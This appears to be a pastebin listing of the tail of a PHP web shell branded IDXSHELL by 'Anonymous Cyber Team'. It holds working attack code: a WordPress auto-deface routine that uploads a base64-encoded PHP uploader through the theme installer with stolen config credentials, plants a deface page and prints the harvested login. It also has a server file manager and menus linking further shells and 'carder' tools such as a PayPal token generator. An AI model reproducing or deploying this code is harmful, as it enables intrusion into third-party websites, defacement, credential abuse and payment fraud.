  2220. $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  2221. $www = "m.php";
  2222. $fp5 = fopen($www,"w");
  2223. fputs($fp5,$upload3);
  2224. $post2 = array(
  2225. "_wpnonce" => "$anu2",
  2226. "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  2227. "themezip" => "@$www",
  2228. "install-theme-submit" => "Install Now",
  2229. );
  2230. $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  2231. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2232. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2233. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2234. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2235. curl_setopt($ch, CURLOPT_POST, 1);
  2236. curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  2237. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2238. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2239. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2240. $data3 = curl_exec($ch);
  2241. curl_close($ch);
  2242. $y = date("Y");
  2243. $m = date("m");
  2244. $namafile = "id.php";
  2245. $fpi = fopen($namafile,"w");
  2246. fputs($fpi,$script);
  2247. $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  2248. curl_setopt($ch6, CURLOPT_POST, true);
  2249. curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  2250. curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  2251. curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  2252. curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  2253. curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
  2254. $postResult = curl_exec($ch6);
  2255. curl_close($ch6);
  2256. $as = "$target/k.php";
  2257. $bs = anucurl($as);
  2258. if(preg_match("#$script#is", $bs)) {
  2259. echo "[+] <font color='lime'>berhasil Deface...</font><br>";
  2260. echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  2261. } else {
  2262. echo "[-] <font color='red'>gagal Deface...</font><br>";
  2263. echo "[!!] coba aja manual: <br>";
  2264. echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  2265. echo "[+] username: <font color=lime>$user</font><br>";
  2266. echo "[+] password: <font color=lime>$pass</font><br><br>";
  2267. }
  2268. mysql_close($conn);
  2269. }
  2270. }
  2271. } else {
  2272. echo "<center><h1>WordPress Auto Deface V.2</h1>
  2273. <form method='post'>
  2274. Link Config: <br>
  2275. <textarea name='link' placeholder='http://target.com/idx_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
  2276. <input type='text' name='script' height='10' size='50' placeholder='Hacked By FirewalL21' required><br>
  2277. <input type='submit' style='width: 450px;' name='auto_deface_wp' value='hantam!!'>
  2278. </form></center>";
  2279. }
  2280. } elseif($_GET['act'] == 'newfile') {
  2281. if($_POST['new_save_file']) {
  2282. $newfile = htmlspecialchars($_POST['newfile']);
  2283. $fopen = fopen($newfile, "a+");
  2284. if($fopen) {
  2285. $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
  2286. } else {
  2287. $act = "<font color=red>permission denied</font>";
  2288. }
  2289. }
  2290. echo $act;
  2291. echo "<form method='post'>
  2292. Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
  2293. <input type='submit' name='new_save_file' value='Submit'>
  2294. </form>";
  2295. } elseif($_GET['act'] == 'newfolder') {
  2296. if($_POST['new_save_folder']) {
  2297. $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  2298. if(!mkdir($new_folder)) {
  2299. $act = "<font color=red>permission denied</font>";
  2300. } else {
  2301. $act = "<script>window.location='?dir=".$dir."';</script>";
  2302. }
  2303. }
  2304. echo $act;
  2305. echo "<form method='post'>
  2306. Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
  2307. <input type='submit' name='new_save_folder' value='Submit'>
  2308. </form>";
  2309. } elseif($_GET['act'] == 'rename_dir') {
  2310. if($_POST['dir_rename']) {
  2311. $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
  2312. if($dir_rename) {
  2313. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  2314. } else {
  2315. $act = "<font color=red>permission denied</font>";
  2316. }
  2317. echo "".$act."<br>";
  2318. }
  2319. echo "<form method='post'>
  2320. <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
  2321. <input type='submit' name='dir_rename' value='rename'>
  2322. </form>";
  2323. } elseif($_GET['act'] == 'delete_dir') {
  2324. function Delete($path)
  2325. {
  2326. if (is_dir($path) === true)
  2327. {
  2328. $files = array_diff(scandir($path), array('.', '..'));
  2329. foreach ($files as $file)
  2330. {
  2331. Delete(realpath($path) . '/' . $file);
  2332. }
  2333. return rmdir($path);
  2334. }
  2335. else if (is_file($path) === true)
  2336. {
  2337. return unlink($path);
  2338. }
  2339. return false;
  2340. }
  2341. $delete_dir = Delete($dir);
  2342. if($delete_dir) {
  2343. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  2344. } else {
  2345. $act = "<font color=red>could not remove ".basename($dir)."</font>";
  2346. }
  2347. echo $act;
  2348. } elseif($_GET['act'] == 'view') {
  2349. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2350. echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  2351. } elseif($_GET['act'] == 'edit') {
  2352. if($_POST['save']) {
  2353. $save = file_put_contents($_GET['file'], $_POST['src']);
  2354. if($save) {
  2355. $act = "<font color=lime>Saved!</font>";
  2356. } else {
  2357. $act = "<font color=red>permission denied</font>";
  2358. }
  2359. echo "".$act."<br>";
  2360. }
  2361. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2362. echo "<form method='post'>
  2363. <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  2364. <input type='submit' value='Save' name='save' style='width: 500px;'>
  2365. </form>";
  2366. } elseif($_GET['act'] == 'rename') {
  2367. if($_POST['do_rename']) {
  2368. $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
  2369. if($rename) {
  2370. $act = "<script>window.location='?dir=".$dir."';</script>";
  2371. } else {
  2372. $act = "<font color=red>permission denied</font>";
  2373. }
  2374. echo "".$act."<br>";
  2375. }
  2376. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2377. echo "<form method='post'>
  2378. <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
  2379. <input type='submit' name='do_rename' value='rename'>
  2380. </form>";
  2381. } elseif($_GET['act'] == 'delete') {
  2382. $delete = unlink($_GET['file']);
  2383. if($delete) {
  2384. $act = "<script>window.location='?dir=".$dir."';</script>";
  2385. } else {
  2386. $act = "<font color=red>permission denied</font>";
  2387. }
  2388. echo $act;
  2389. }else {
  2390. if(is_dir($dir) == true) {
  2391. echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  2392. <tr>
  2393. <th class="th_home"><center>Name</center></th>
  2394. <th class="th_home"><center>Type</center></th>
  2395. <th class="th_home"><center>Size</center></th>
  2396. <th class="th_home"><center>Last Modified</center></th>
  2397. <th class="th_home"><center>Permission</center></th>
  2398. <th class="th_home"><center>Action</center></th>
  2399. </tr>';
  2400. $scandir = scandir($dir);
  2401. foreach($scandir as $dirx) {
  2402. $dtype = filetype("$dir/$dirx");
  2403. $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
  2404. if(!is_dir("$dir/$dirx")) continue;
  2405. if($dirx === '..') {
  2406. $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
  2407. } elseif($dirx === '.') {
  2408. $href = "<a href='?dir=$dir'>$dirx</a>";
  2409. } else {
  2410. $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
  2411. }
  2412. if($dirx === '.' || $dirx === '..') {
  2413. $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
  2414. } else {
  2415. $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
  2416. }
  2417. echo "<tr>";
  2418. echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
  2419. echo "<td class='td_home'><center>$dtype</center></td>";
  2420. echo "<td class='td_home'><center>-</center></th>";
  2421. echo "<td class='td_home'><center>$dtime</center></td>";
  2422. echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
  2423. echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
  2424. }
  2425. echo "</tr>";
  2426. foreach($scandir as $file) {
  2427. $ftype = filetype("$dir/$file");
  2428. $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  2429. $size = filesize("$dir/$file")/1024;
  2430. $size = round($size,3);
  2431. if($size > 1024) {
  2432. $size = round($size/1024,2). 'MB';
  2433. } else {
  2434. $size = $size. 'KB';
  2435. }
  2436. if(!is_file("$dir/$file")) continue;
  2437. echo "<tr>";
  2438. echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
  2439. echo "<td class='td_home'><center>$ftype</center></td>";
  2440. echo "<td class='td_home'><center>$size</center></td>";
  2441. echo "<td class='td_home'><center>$ftime</center></td>";
  2442. echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
  2443. echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
  2444. }
  2445. echo "</tr></table>";
  2446. } else {
  2447. echo "<font color=red>can't open directory</font>";
  2448. }
  2449. }
  2450. echo "<center><hr><form>
  2451. <select onchange='if (this.value) window.open(this.value);'>
  2452. <option selected='selected' value=''> Tools Creator </option>
  2453. <option value='$ling=wso'>WSO 2.8.1</option>
  2454. <option value='$ling=injection'>1n73ction v3</option>
  2455. <option value='$ling=wk'>WHMCS Killer</option>
  2456. <option value='$ling=adminer'>Adminer</option>
  2457. <option value='$ling=b374k'>b374k Shell</option>
  2458. <option value='$ling=b374k323'>b374k 3.2</option>
  2459. <option value='$ling=bh'>BlackHat Shell</option>
  2460. <option value='$ling=dhanus'>Dhanush Shell</option>
  2461. <option value='$ling=r57'>R57 Shell</option>
  2462. <option value='$ling=encodedecode'>Encode Decode</option>
  2463. <option value='$ling=r57'>R57 Shell</option>
  2464. </select>
  2465. <select onchange='if (this.value) window.open(this.value);'>
  2466. <option selected='selected' value=''> Tools Carder </option>
  2467. <option value='$ling=extractor'>DB Email Extractor</option>
  2468. <option value='$ling=promailerv2'>Pro Mailer V2</option>
  2469. <option value='$ling=bukalapak'>BukaLapak Checker</option>
  2470. <option value='$ling=tokopedia'>TokoPedia Checker</option>
  2471. <option value='$ling=tokenpp'>Paypal Token Generator</option>
  2472. <option value='$ling=mailer'>Mailer</option>
  2473. <option value='$ling=gamestopceker'>GamesTop Checker</option>
  2474. </select>
  2475. <noscript><input type='submit' value='Submit'></noscript>
  2476. </form>Copyright &copy; ".date("Y")." - <a href='http://www.anoncyberteam.org/' target='_blank'><font color=lime>IDXSHELL|Code By Anonymous Cyber Team</font></a> </center>";
  2477. ?>
  2478. </html>
Add Comment
Please, Sign In to add comment